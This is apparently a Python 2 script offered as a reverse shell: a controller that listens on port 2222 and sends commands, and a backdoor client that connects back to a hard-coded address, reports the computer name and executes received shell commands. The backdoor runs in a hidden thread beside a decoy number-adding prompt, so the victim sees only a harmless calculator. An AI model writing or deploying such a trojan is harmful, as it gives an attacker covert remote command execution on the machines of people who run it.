Python Reverse Shell (Socket)

import socket, os, sys

def socketCreate():
	try:
		global HOST
		global PORT
		global s
		
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		HOST = "192.168.110.1"
		PORT = 2222
	except socket.error as msg:
		print "Socket creation error: "+str(msg[0])
		sys.exit()
		
def socketBind():
	try:
		print "Binding socket at port %s"%(PORT)
		s.bind((HOST, PORT))
		s.listen(1)
	except socket.error as msg:
		print "Socket binding error: "+str(msg[0])
		sys.exit()
		
def socketAccept():
	global conn
	global addr
	global hostname
	try:
		conn, addr = s.accept()
		print "[*] Session opened at %s:%s\n"%(addr[0], addr[1])
		hostname = conn.recv(1024)
		menu()
	except socket.error as msg:
		print "Socket accepting error"
		sys.exit()
def menu():
	while True:
		cmd = raw_input(str(addr[0])+"@"+str(hostname)+ " > ")
		if cmd == "quit":
			conn.close()
			s.close()
			sys.exit()
		command = conn.send(cmd)
		result = conn.recv(16834)
		if result <> hostname:
			print result
			
def main():
	socketCreate()
	socketBind()
	socketAccept()

main()

import threading

def backdoor():
	import socket, os, subprocess

	def connect():
		global HOST
		global PORT
		global s
		
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		HOST = "192.168.110.1"
		PORT = 2222
		
		try:
			s.connect((HOST, PORT))
			s.send(os.environ['COMPUTERNAME'])
		except:
			connect()
			
	def receive():
		receive = s.recv(1024)
		if receive == "quit":
			s.close()
		elif receive[0:5] == "shell":
			proc2 = subprocess.Popen(receive[6:], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
			stdout_value = proc2.stdout.read() + proc2.stderr.read()
			args = stdout_value
		else:
			args = "No valid input was given."
		send(args)
		
	def send(args):
		send = s.send(args)
		receive()
	connect()
	receive()
	s.close()

def toplama():
	a = raw_input("Sayi: ")
	b = raw_input("Sayi: ")
	print int(a) + int(b)

threading.Thread(target=backdoor).start()
threading.Thread(target=toplama).start()